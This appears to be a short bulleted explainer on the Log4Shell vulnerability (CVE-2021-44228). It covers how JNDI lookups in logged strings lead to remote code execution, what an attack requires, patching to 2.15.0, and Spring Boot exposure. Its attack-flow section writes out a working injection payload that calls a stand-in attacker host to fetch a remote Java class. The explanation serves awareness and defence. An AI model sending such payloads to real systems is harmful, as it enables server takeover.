What is Log4j Vulnerability ??

• Log4j vulnerability was disclosed on December 9, 2021. It is a serious vulnerability in the java-based logging utility from Apache Software Foundation.
  
• This issue was discovered by Chen Zhaojun of Alibaba Cloud Security Team.
  
• The flaw has also been dubbed as “Log4Shell,”, and has the highest possible severity rating of 10
  
• Log4j is a very popular logging framework used in numerous small and large enterprise java applications and cloud services.Because of the widespread use of this library it is marked one of the most serious vulnerability.
  
• The Apache Software Foundation (ASF) has identified the vulnerability as CVE-2021-44228;
  
• This vulnerability allows an attacker to execute unauthenticated code on a remote server; a so-called Remote Code Execution (RCE)
  
• Millions of applications use Log4j for logging, and all the attacker needs to do is get the app to log a special string
  
• The best mitigation against this vulnerability is to patch log4j to 2.15.0 and above

• How does this vulnerability work ?
  

• • Attacker sends a request to the server via any protocol
  • The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server).
  • The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI)
  • This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process.
  • This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

• JNDI is a directory service that allows a Java program to find data (in the form of a Java object) through a directory.
  
• Exploit Requirements
  
  • A server with a vulnerable log4j version.
  • An endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
  • Application that logs out the string from that request.
    
• According to the researchers, attackers only need to force the application to write just one string to the log, and after that they are able to upload their own code into the application due to the message lookup substitution function.
  
• Log4j version 2.15.0 has been released to address this flaw, Its fix merely changes a setting from “false” to “true” by default. Users who change the setting back to “false” remain vulnerable to attack. This also means that servers running earlier versions of Log4j can mitigate the attack by changing that setting.
  
• Spring Boot users are only affected by this vulnerability if they have switched the default logging system to Log4J2. The log4j-to-slf4j and log4j-api jars that we include in spring-boot-starter-logging cannot be exploited on their own. Only applications using log4j-core and including user input in log messages or by injecting messages in headers are vulnerable

• To reproduce this vulnerability locally, you can refer to christophetd’s vulnerable app.
  
• If you find these hashes in your software inventory then you have the vulnerable log4j in your systems: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes

Important Links

• Log4J2 Vulnerability and Spring Boot
• Logout4Shell
• Google Cloud Armor WAF

Thank you !